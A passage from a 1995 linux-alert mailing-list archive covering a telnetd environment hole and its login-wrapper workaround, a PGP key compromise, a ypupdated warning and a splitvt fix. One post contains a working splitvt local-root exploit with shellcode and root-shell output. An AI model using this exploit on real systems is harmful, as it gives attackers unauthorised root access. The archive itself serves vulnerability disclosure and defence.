kits may be identified as ECO SSRT0367 (telnetd) for DEC OSF/1 V2.0
thru V3.2c
This potential vulnerability is not present on Digital's ULTRIX systems.
Digital distribution of this announcement will be via AES services (DIA,
DSNlink FLASH etc.). Digital Equipment Corporation strongly urges Customers
to upgrade to a minimum of DEC OSF/1 V3.0, then apply this patch.
FreeBSD
-------
Vulnerable. A patch has been applied to the current development FreeBSD
source tree which is not yet released. This patch is slightly modified
compared to posted one, i.e. only variables which affects FreeBSD are
disabled. It is telnetd patch, not a login wrapper.
For the official patch, location please contact:
Jordan Hubbard
Harris
------
Harris Computer Systems Corporation's Night Hawk is not vulnerable.
Hewlett-Packard Company
-----------------------
HP/UX is not vulnerable.
Linux (freely available software; not a vendor)
-----
Debian GNU/Linux (From "Peter Tobias" ):
The current version of the Debian GNU/Linux distribution (released 10/27/95)
is not vulnerable anymore. All Debian Installations that use a netstd
package version prior to v1.21-1 are vulnerable (telnetd is part of
the netstd package). netstd-1.21-1 and above are ok.
Patches are available. Peter fixed the bug last week and uploaded the
fixed version to our ftp site (ftp.debian.org). Binaries, sources and
the diffs against the bsd telnetd can be found there. The URL for the
new binary package is:
ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb
and the sources and the diff against the bsd telnetd can be found at:
ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.tar.gz
ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.diff.gz
Red Hat Linux (From Erik Troan ):
Vulnerable. A fix is now available at:
ftp://ftp.redhat.com/pub/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm
ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm
It will also be fixed in the upcoming Red Hat 2.1 release.
Slackware Linux (Alan Cox ):
The telnetd distributed with Slackware Linux appears to be vulnerable,
although it has not been verified.
MIT-distributed Athena telnet/telnet95
--------------------------------------
Vulnerable. Patches available in:
ftp://aeneas.mit.edu/pub/kerberos/telnet-patch/
beta4-3.patch is the patch versus the Beta 4 patchlevel 3 distribution
of Kerberos v5.
beta5.patch is the patch versus the Beta 5 distribution of Kerberos V5.
Both patches have been PGP signed by Ted Ts'o using
detached signatures (beta4-3.patch.sig and beta5.patch.sig).
NetBSD
------
NetBSD 1.0 (the last official release) is vulnerable; NetBSD 1.1 (due
out in mid-November) will not be. NetBSD-current is not vulnerable,
as of a week or so ago.
Patches: A source form patch has been developed. A core team member will
have to make source and binary patches available and provide a location for
it.
The login-wrapper given in the advisory can be compiled with NetBSD with:
cc -o login-wrapper login-wrapper.c
NEC Corporation
---------------
Some NEC systems are vulnerable. Here is their vulnerability matrix:
OS Version Status
------------------ ------------ -------------------------------------
EWS-UX/V(Rel4.0) R1.x - R6.x not vulnerable
EWS-UX/V(Rel4.2) R7.x - R10.x not vulnerable
EWS-UX/V(Rel4.2MP) R10.x vulnerable
patch available by the end of Nov, 1995
UP-UX/V R2.x - R4.x not vulnerable
UP-UX/V(Rel4.2MP) R5.x - R7.x vulnerable
patch available by the end of Nov, 1995
UX/4800 R11.x vulnerable
patch available by the end of Nov, 1995
--------------------------------------------------------------------------
Contacts for further information:
E-mail:[email protected]
Open Software Foundation
------------------------
OSF/1 version 1.3 is not vulnerable.
OpenVision
----------
This is from: Barry Jaspan :
OpenVision has a patch for the telnetd in OpenV*Secure 1.2 and will
contact its customers directly.
SCO
---
Not believed to be vulnerable.
Silicon Graphics
----------------
IRIX 5.2, 5.3, 6.0.1, and 6.1 are vulnerable.
SGI acknowledges the telnetd vulnerability reported by MIT and is
currently investigating. No further information is available at
this time.
As further information becomes available, additional advisories will be
issued.
SGI Security Information/Contacts:
For obtaining security information, patches or assistance, please
contact your SGI support provider.
If there are questions about this document, email can be sent to
[email protected] .
For reporting *NEW* SGI security issues, email can be sent to
[email protected].
Sony Corporation
----------------
Sony's NEWS-OS 6.x is not vulnerable.
..............................................................................
Appendix B: login-wrapper Workaround
The login-wrapper program shown below is meant to be executed just before
the distributed login program. The wrapper cleans specific variables from
the environment before invoking the distributed login program.
------------------------cut here--8<------------------------
/*
* This is a login wrapper that removes all instances of
* various variables from the environment.
*
* Note: this program must be compiled statically to be
* effective against exploitation.
*
* Author: Lawrence R. Rogers
*
* 10/25/95 version 1.1 Original version
* 10/26/95 version 1.2 ELF_ variables removed (Linux)
* 10/27/95 version 1.3 ELF_ changed to ELF_LD_
* Added AOUT_LD_ (Linux)
*
*/
#include
#if !defined(_PATH_LOGIN)
# define _PATH_LOGIN "/bin/login.real"
#endif
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
register char **p1, **p2;
for (p1 = p2 = envp; *p1; p1++) {
if (strncmp(*p1, "LD_", 3) != 0 &&
strncmp(*p1, "_RLD", 4) != 0 &&
strncmp(*p1, "LIBPATH=", 8) != 0 &&
strncmp(*p1, "ELF_LD_", 7) != 0 &&
strncmp(*p1, "AOUT_LD_", 8) != 0 &&
strncmp(*p1, "IFS=", 4) != 0 ) {
*p2++ = *p1;
}
}
*p2 = 0;
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
------------------------cut here--8<------------------------
The following two examples show how to compile the login-wrapper for SGI's
IRIX 5.3 and FreeBSD 2.x systems. The examples move the distributed login
program to a new location and install the wrapper in the standard location.
When executed, the wrapper first cleanses the environment and then calls
the relocated, distributed login program.
Note 1: The wrapper must be compiled statically. On SGI's IRIX system,
compiling statically requires that the non-shared versions of libraries
be installed. Consult your system documentation to determine how to do
this.
Note 2: You may need to change the _PATH_LOGIN variable to define where
the real login program resides on your system. On some systems, login
resides in /usr/bin/login.
Compiling for IRIX 5.3
----------------------
# uname -a
IRIX test 5.3 11091812 IP22 mips
# /bin/ls -lL /bin/login
-rwsr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login
# /bin/cc -non_shared -O login-wrapper.c -o login-wrapper
# /bin/mv /bin/login /bin/login.real
# /bin/chmod 755 /bin/login.real
# /bin/mv login-wrapper /bin/login
# /bin/chmod 4755 /bin/login
# /bin/chown root /bin/login
# /bin/chgrp sys /bin/login
# /bin/ls -lL /bin/login /bin/login.real
-rwxr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login.real
-rwsr-xr-x 1 root sys 213568 Oct 30 08:42 /bin/login
Compiling for FreeBSD 2.x
-------------------------
# /bin/ls -lg /usr/bin/login
-r-sr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login
# /usr/bin/cc -D_PATH_LOGIN=\"/usr/bin/login.real\" -static \
-O login-wrapper.c -o login-wrapper
# /bin/mv /usr/bin/login /usr/bin/login.real
# /bin/chmod 555 /usr/bin/login.real
# /bin/mv login-wrapper /usr/bin/login
# /bin/chmod 4555 /usr/bin/login
# /usr/sbin/chown root.bin /usr/bin/login
# /bin/ls -lg /usr/bin/login /usr/bin/login.real
-r-sr-xr-x 1 root bin 24885 Oct 25 22:14 /usr/bin/login
-r-xr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login.real
From [email protected] Mon Nov 6 15:34:40 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09876; Mon, 6 Nov 1995 15:22:02 -0500
Received: from uuneo.neosoft.com ([email protected] [206.109.1.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA09359; Mon, 6 Nov 1995 13:53:48 -0500
Received: from ris1.UUCP (ficc@localhost) by uuneo.neosoft.com (8.7.1/8.7.1) with UUCP id KAA01356 for tarsier.cv.nrao.edu!linux-alert; Mon, 6 Nov 1995 10:14:43 -0600 (CST)
Received: by ris1.nmti.com (smail2.5)
id AA00653; 6 Nov 95 10:33:51 CST (Mon)
Received: by sonic.nmti.com; id AA12451; Mon, 6 Nov 1995 10:03:04 -0600
From: [email protected] (Peter da Silva)
Message-Id: <[email protected]>
Subject: Re: BoS: Telnetd Environment Vulnerability
To: [email protected]
Date: Mon, 6 Nov 1995 10:03:04 -0600 (CST)
Cc: [email protected]
In-Reply-To: <[email protected]> from "Cy Schubert - BCSC Open Systems Group" at Nov 2, 95 04:58:43 pm
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
> for (p1 = p2 = envp; *p1; p1++) {
> if (strncmp(*p1, "LD_", 3) != 0 &&
> strncmp(*p1, "_RLD", 4) != 0 &&
> strncmp(*p1, "LIBPATH=", 8) != 0 &&
> strncmp(*p1, "ELF_LD_", 7) != 0 &&
> strncmp(*p1, "AOUT_LD_", 8) != 0 &&
> strncmp(*p1, "IFS=", 4) != 0 ) {
> *p2++ = *p1;
> }
> }
Wouldn't it be safer to do something like:
if(strncmp(*p1, "TERM=", 5) == 0 ||
strncmp(*p1, "DISPLAY=", 8) == 0) *p2++ = *p1;
Is there any reason to copy the environment over to a possibly completely
different architecture? There's only a few variables that really need to be
transferred...
From [email protected] Wed Nov 8 20:06:49 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA02159; Wed, 8 Nov 1995 19:28:32 -0500
Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA02117; Wed, 8 Nov 1995 19:25:00 -0500
Date: Wed, 8 Nov 1995 19:25:00 -0500
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected]
Subject: Apology for errant post.
X-Quote-I-Like: "Whenever you have an efficient government, you have a dictatorship." --Harry S. Truman.
X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
My apologies to everyone for my forward of the recent short post from
Peter da Silva to the linux-alert list; I meant to
redirect that message to the linux-security list since it was a followup
to a linux-alert post. Mea culpa.
In the future, please direct all replies/followups to linux-alert posts
over to the linux-security list; linux-alert is not meant to be a
discussion group. This helps keep my confusion level down...
- --Up.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMKFKTrxzFUpUTHgFAQG+7QQAiD3z5tWKQrqwmQuA0kZ95QpAhzllGSm6
T262nAwQp3r1FoHKteAAghRPw5MB3CSmTEaJCE2JdM/sM+Hxgdp+iEiun15U26o2
IQBdAKUWlx0t/oQIuaUV0qdaFRUf2VAOyXjZSgHxWOmdZTnpgxTHs2FqvLNt4LWD
+kwWCTSbqBI=
=ACqY
-----END PGP SIGNATURE-----
--
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/
linux-alert/1995/linux-alert.9512100664 1767 1767 70560 6067042627 15623 0ustar majdommajdomFrom [email protected] Sat Dec 2 16:37:41 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA01316; Sat, 2 Dec 1995 16:37:40 -0500
Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id VAA01758; Wed, 29 Nov 1995 21:57:10 -0500
Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id VAA05959; Wed, 29 Nov 1995 21:57:09 -0500 (EST)
Received: from bach.cis.temple.edu (localhost [127.0.0.1]) by bach.cis.temple.edu (8.7.1/8.7.1) with SMTP id VAA11148; Wed, 29 Nov 1995 21:56:33 -0500
Date: Wed, 29 Nov 1995 21:56:32 -0500 (EST)
From: "Alexander O. Yuriev"
To: Jeff Uphoff
cc: [email protected], [email protected], [email protected],
[email protected], [email protected], [email protected],
[email protected], [email protected],
[email protected], [email protected], [email protected],
[email protected], [email protected], [email protected],
Linux Announce Submit ,
big-linux-mailing-list ,
Vladimir ,
Russ DeFlavia ,
Matt Bishop ,
Linux Security Mailing List ,
[email protected], Marc Ewing ,
Ron Holt ,
Roman Gollent ,
[email protected]
Subject: EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE
In-Reply-To: <[email protected]>
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
ONE OF LINUX SECURITY FAQ PGP KEYS HAD BEEN COMPROMISED.
EMERGENCY LINUX SECURITY FAQ UPDATE
22:13:07 EST
Copyright (C) 1995 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security
=============================================================================
Jeff Uphoff , co-moderator of
linux-security and linux-alert mailing lists had issued a key
revocation certificate for the the PGP key
pub 1024/544C7805 1994/07/17
which could be used to sign Linux Security FAQ Updates or other
security related information.
From Nov 29, 1995 21:22:07 EST everything signed or encrypted
using this key is considered to be compromised. Please notify
Alexander O. Yuriev , Olaf Kirch
using PGP encrypted email if you receive
compromised information. The PGP public keys of people involved
in Linux security will be available from the following URL:
ftp://bach.cis.temple.edu/pub/Linux/Security/PGP-KEYS.pgp
When Jeff Uphoff's new key will be available, it will be added to
the the PGP-KEYS.pgp. Please avoid emailing sensitive information
to Jeff Uphoff in the non-encrypted form.
As the result of the attack NRAO is not directly connected to
Internet. We are working on creating an emergency replacement archive
for linux-security and linux-alert mailing lists, as well as a
backup system to handle the mailing list while NRAO is being cleaned.
The following is the extract from message sent by Jeff Uphoff:
****************************************************************************
- From [email protected] Nov 29 21:06:25 1995
Date: Wed, 29 Nov 1995 20:47:01 -0500
From: Jeff Uphoff
To: alex%[email protected]
Subject: PGP key compromise.
[I'm sending this to the people on my key-ring, i.e. those with which I
occasionally or frequently exchange PGP encrypted e-mail.]
Both my PGP key-ring (possible) and my pass-phrase (definite) have been
compromised. Attached to this message is a key-revocation certificate.
Please pass it on to as many people as you can think of that might have
my current key. I cannot sign this message with a recognizable key now,
but the block speaks for itself once you feed it through PGP.
Robert Millner can verify the
compromise by telephone at 540-961-4321, as can I at 804-296-0208.
Details of the compromise will be released later to those interested
parties that have not been following this particular series of events.
(The U.S. FBI is now involved.) NRAO headquarters is no longer
interactively reachable from the Internet, though we are exchanging
e-mail as long as we can safely maintain the link.
- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
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
aW51eC5vcmc+
=SL0I
- -----END PGP PUBLIC KEY BLOCK-----
*****************************************************************
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBML0bT4xFUz2t8+6VAQHFBgP+Pf19mAJhh0zM8OhctpN4NyewjjHlhj9b
kbVpbOwTpVGWqMEKTNCj6qP+Wl9cbp910WAOxsWrLN6G1u35tBQ95SWjKz8bhLup
D/U3VMyc1TNgsYwRoQhjMVkl3g9+mzpXIyqmVGUANLPVtTbxBe3lJlyXpvBU8iwd
VnG4+bF31EU=
=tYmz
-----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
From [email protected] Sun Dec 3 19:30:16 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA06794; Sun, 3 Dec 1995 19:30:15 -0500
Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA06752; Sun, 3 Dec 1995 19:28:20 -0500
Date: Sun, 3 Dec 1995 19:28:20 -0500
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected],
[email protected], [email protected]
Subject: 'ypupdated' hole, system crackers.
X-Quote-I-Like: "The part that frightens the hell out of me is the goverment deciding where technology goes." --Senator Patrick Leahy.
X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
There is a hole, apparently quite serious, in the NIS program
'ypupdated'. CERT, among others, has confirmed the existence of a hole,
and it appears to be under active exploitation by crackers who use it as
one of many methods to illicitly gain privileged access to
systems/sites.
If you are running it on any of your systems, you should probably kill
it until this issue is resolved/patched. NIS server systems running
SunOS 4.1.x variants seem to be the favored target systems in this
current series of attacks.
Also, please check the directory /usr/share/src/sun/sunview1/examples/fonts
for signs of cracker tools on any Suns that you administrate; this
appears to be a favorite area for hiding "kits" and sniffers in a
currently-active attack pattern. If you find anything in that area
(even the existence of the "fonts" sub-directory should be considered
suspicious), please immediately dump the area to tape and contact
[email protected] and/or [email protected]; it is likely that the system has
been badly compromised.
--Up.
--
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/
From [email protected] Tue Dec 12 06:19:20 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA13538; Tue, 12 Dec 1995 06:19:20 -0500
Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id EAA13044; Tue, 12 Dec 1995 04:16:41 -0500
Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id EAA11224 for ; Tue, 12 Dec 1995 04:04:13 -0500 (EST)
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0tPCPH-0005BQC; Mon, 11 Dec 95 18:52 MET
Received: from monad by monad.swb.de with uucp
(smail3.1.29.0 #5) id m0tPDUY-00005FC; Mon, 11 Dec 95 20:02 MET
Received: from brewhq.swb.de by monad.swb.de with uucp
(smail3.1.29.0 #5) id m0tNYw8-0000BxC; Thu, 7 Dec 95 06:32 MET
Received: from procert.cert.dfn.de by brewhq.swb.de with smtp
(Linux Smail3.1.29.0 #5) id m0tNTXZ-0005B2C; Thu, 7 Dec 95 00:46 MET
Received: from marmoset.cv.nrao.edu ([email protected] [192.33.115.176]) by procert.cert.dfn.de (8.6.10/8.6.10) with ESMTP id AAA24501; Thu, 7 Dec 1995 00:37:50 +0100
Received: from tarsier.cv.nrao.edu ([email protected] [192.33.115.50]) by marmoset.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id RAA05802; Wed, 6 Dec 1995 17:15:53 -0500
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA32142; Wed, 6 Dec 1995 17:15:42 -0500
Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id AAA10599; Mon, 4 Dec 1995 00:56:33 -0500
Received: from crimson.cadvision.com (cadc39.cadvision.com [204.50.20.39]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id AAA28408; Mon, 4 Dec 1995 00:56:25 -0500 (EST)
Received: (from root@localhost) by crimson.cadvision.com (8.6.11/8.6.9) id WAA00528; Sun, 3 Dec 1995 22:52:45 -0700
Date: Sun, 3 Dec 1995 22:52:37 -0700 (MST)
From: root
To: Jeff Uphoff
cc: [email protected], [email protected],
[email protected], [email protected]
Subject: Avalon Release
In-Reply-To: <[email protected]>
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[mod: This should have been approved to linux-alert a few days ago, but it
somehow escaped me. I'm very sorry for the delay.
At least Slackware 3.0 seems affected (but it doesn't seem to work
for all users alike). Red Hat doesn't have splitvt; the status of
other systems is not known. The simplest fix is to remove the
setuid bit from splitvt.
--okir]
Avalon Security Research
Release 1.3
(splitvt)
Affected Program: splitvt(1)
Affected Operating Systems: Linux 2-3.X
Exploitation Result: Local users can obtain superuser privelages.
Bug Synopsis: A stack overflow exists via user defined unbounds checked
user supplied data sent to a sprintf().
Syntax:
crimson~$ cc -o sp sp.c
crimson~$ sp
bash$ sp
bash$ splitvt
bash# whoami
root
Credit: Full credit for this bug (both the research and the code)
goes to Dave G. & Vic M. Any questions should be directed to
[email protected] .
----------------------------------------------------------------------------
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
char eggplant[2048];
int a;
char *egg;
long *egg2;
char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *eggie = realegg;
egg = eggplant;
*(egg++) = 'H';
*(egg++) = 'O';
*(egg++) = 'M';
*(egg++) = 'E';
*(egg++) = '=';
egg2 = (long *)egg;
for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
egg=(char *)egg2;
for (a=0;a<0x40;a++) *(egg++) = 0x90;
while (*eggie)
*(egg++) = *(eggie++);
*egg = 0; /* terminate eggplant! */
putenv(eggplant);
system("/bin/bash");
}
From [email protected] Thu Dec 14 14:08:27 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id OAA11648; Thu, 14 Dec 1995 14:08:27 -0500
Resent-Date: Thu, 14 Dec 1995 13:49:25 -0500
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected], [email protected]
Message-ID: <[email protected]>
X-To: [email protected]
From: Sam Lantinga
To: Multiple recipients of list BUGTRAQ
Subject: SECURITY: Announcing Splitvt 1.6.3
Date: Wed, 13 Dec 1995 17:56:56 PST
X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[Mod: This is a followup to the initial alert on splitvt; it's an
announcement from splitvt's author, reposted here from the bugtraq
mailing list. Since it's a forward from another list, I've not PGP
signed it myself. --Jeff]
Announcing the newest version of splitvt!
SECURITY ALERT!!!
splitvt versions lower than 1.6.3 are known to have a
security hole allowing a user to gain ROOT access on some systems!
If you have a version lower than 1.6.3 _please_ remove
the set-uid bit on your current version, and upgrade to the newer
version as soon as possible.
("splitvt -version" will tell you what version you are running)
The set-uid bit is only for updating the utmp database and for
changing ownership of its pseudo-terminals. It is not necessary
for splitvt's operation.
The latest version is available via anonymous ftp from
dandelion.ceres.ca.gov in the /pub/splitvt directory.
The output of md5sum on the TAR file splitvt-1.6.3.tar is:
eec2fe2c5b4a3958261197905a9d9c81 splitvt-1.6.3.tar
What it is:
Splitvt is a program that splits any vt100 compatible
screen into two - an upper and lower window in which you can run
two programs at the same time. Splitvt differs from screen in
that while screen gives you multiple virtual screens, splitvt splits
your screen into two fully visible windows. You can even use
splitvt with screen to provide multiple split screens. This can
be very handy when running over a modem, or for developing
client-server applications.
What can I use it for?
Well, at this time, I am aware of several ways in which
people are using splitvt. Some people like to use it over the modem
to allow them more than one window at a time, others like to use it
in xterms because they prefer having everything on the screen at once,
and some people are using it in conjunction with the -rcfile option
to automate system administration tasks.
If you are using splitvt in a new and unusual way,
I'd like to hear about it!
Direct all comments to [email protected]
Where can I get it?
Splitvt is available for anonymous ftp from
dandelion.ceres.ca.gov in the /pub/splitvt directory.
You can also get it from sunsite.unc.edu in /pub/Linux/Incoming
now, and will hopefully to be moved to /pub/Linux/utils/terminal.
The file is splitvt-1.6.3.tgz and it is in tarred and gzipped format.
What's new?
Lots of stuff. :)
Here is the list of things from the CHANGES file:
Version 1.6.3
Patched some security holes:
fixed sprintf overflow in parserc.c
fixed env label overflow in parserc.c
fixed env variable expansion overflow
added read access check in parserc.c
added chdir() access check in parserc.c
fixed sprintf overflow in vtmouse.c
Version 1.6.2
Fixed a bug in vt_showscreen()
Fixed separator redisplay in vt_prompt()
Added the ANNOUNCE file
Added a "cd" command to the startup file
Added -t option to change xterm title
xterm title is reset, if possible, at exit
Added xterm drag-n-drop of separator bar
Speeded up separator bar movement
(broken) Fixed cut-paste highlighting
(broken) Integrated cut-paste with X selection (xcb)
Fixed job control for FreeBSD
(thanks to Quang Ngo)
Fixed bug in cursor keys (showed up in vi)
----
What's planned?
I want to beef up the startup file syntax so that you can
specify the format of the "status bar", or window divider, and I plan
to rewrite the startup file parser so that it allows you to use more
flexible and powerful startup scripts. I am also toying with the idea
of cut-paste "screen" style, and a window history that you can scroll
back through. I have cut-paste partially working.
Other things on the pot are cleaning up dead windows, dynamically starting
new windows, etc...
If you have any wishes, just let me know at [email protected],
and I'll try to include them in future releases of splitvt. I'll try to
avoid feeping creaturism, but a few bells and whistles would be nice. :)
Note: At the moment I have several other projects, and have this one on
unspecified hold. This release was mainly to fix some security holes.
Will it run on my system?
Well, if you run a UNIX that has pseudo-tty support,
chances are that splitvt will work on your system. Splitvt has
been ported to all of the "standard" unices, and also to a few
oddball unices, such as AIX, NewsOS, MP-RAS, and NeXT.
Well, that about wraps it up. I hope you enjoy this software,
originally conceived by Dave Ljung and created by yours truly.
Enjoy!
